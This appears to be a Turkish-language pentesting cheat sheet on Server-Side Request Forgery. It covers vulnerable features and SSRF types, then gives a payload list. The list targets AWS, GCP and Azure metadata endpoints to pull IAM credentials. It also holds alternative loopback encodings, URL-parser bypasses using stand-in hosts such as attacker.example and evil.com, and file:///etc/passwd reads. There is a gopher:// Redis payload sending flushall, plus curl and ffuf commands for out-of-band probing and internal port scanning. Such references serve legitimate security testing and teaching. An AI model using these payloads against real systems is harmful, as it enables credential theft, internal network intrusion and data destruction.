Skip to content

Server-Side Request Forgery (SSRF)

OWASP A10 difficulty: orta

Server-Side Request Forgery (SSRF), uygulamanın saldırganın belirlediği bir adrese sunucu adına HTTP(S) veya başka protokolde istek atmasıdır. Sunucu genelde iç ağa ve bulut metadata servislerine erişebildiği için, dışarıdan ulaşılamayan kaynaklar bu yolla hedeflenir.

URL/host/dosya alan her özellik:

  • Webhook / callback URL yapılandırması
  • PDF, ekran görüntüsü, link önizleme, avatar/uzak görsel çekme
  • Import from URL, proxy, RSS/fetch, “translate this page”
  • XML/SVG işleyiciler, OOXML (DOCX) içindeki dış ilişkiler
  • Headless browser / Puppeteer tabanlı render servisleri
  • Basic (in-band) — yanıt gövdesinde veya hata mesajında uzak içerik yansır; iç HTML / metadata doğrudan okunur.
  • Blind — yalnızca zaman farkı, hata kodu veya OAST (DNS/HTTP) geri çağırma ile doğrulanır; veri exfil için ikinci kanal gerekir.

SSRF · AWS metadata

embedded tool
Generated command
curl -s http://169.254.169.254/latest/meta-data/

Bu URL yi uygulamanın SSRF parametresine ver.

# Loopback / iç servisler
http://127.0.0.1:6379/
http://127.0.0.1:8080/admin
http://localhost:9200/_cat/indices # Elasticsearch
http://169.254.169.254/ # link-local metadata
# AWS IMDSv1
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# AWS IMDSv2 — PUT ile token gerekir; basit GET SSRF yetmeyebilir
# GCP
http://metadata.google.internal/computeMetadata/v1/
# Header zorunlu: Metadata-Flavor: Google
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01

Metadata’dan alınan geçici kimlik bilgileriyle bulut API’sine geçiş sık görülen etki yükseltmesidir.

# Alternatif IP gösterimleri (127.0.0.1)
http://127.1/
http://0x7f000001/
http://2130706433/
http://0177.0.0.1/
http://127.0.0.1.nip.io/
http://[::1]/
http://[0:0:0:0:0:ffff:127.0.0.1]/
# DNS / redirect
http://make-127-0-0-1.attacker.example/ # A kaydı 127.0.0.1
http://attacker.example/open-redirect?u=http://169.254.169.254/
# URL parser uyuşmazlığı
http://evil@127.0.0.1/
http://127.0.0.1#@evil.com/
http://evil.com\@127.0.0.1/
# Şema değişimi
file:///etc/passwd
gopher://127.0.0.1:6379/_...
dict://127.0.0.1:11211/
ftp://127.0.0.1/

Allow-list http://trusted.com ise açık yönlendirme veya DNS rebinding (kısa TTL ile IP değiştirme) denenebilir.

gopher:// destekleniyorsa Redis, SMTP, memcached gibi ham TCP servislerine bayt enjekte edilebilir:

# Redis örneği (URL-encode edilmiş satırlar)
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a...
  1. OAST işaretçisi kullan — parametreye Burp Collaborator / interactsh adresi ver; DNS ve HTTP geri çağırma bekle.

  2. Yanıt farklarını gözle — açık port vs kapalı port; süre (timeout) ve hata mesajı farkları iç ağ port taramasını mümkün kılar.

  3. Yönlendirme / kısmi URL — uygulama sadece path alıyorsa http://internal host’unu başka parametreyle birleştirip test et ( url=http://x&path=@169.254.169.254 ).

  4. Zincirle — metadata → cloud credential → iç panel / S3 / IMDSv2 token gerektiren akışları haritala; gerekirse XXE veya PDF renderer ile ikinci SSRF yüzeyine geç.

Terminal window
curl -i "https://hedef/fetch?url=http://$(uuid).oast.fun"
Terminal window
ffuf -u 'https://hedef/proxy?url=http://127.0.0.1:FUZZ/' \
-w ports.txt -mc all -fs <normal_len>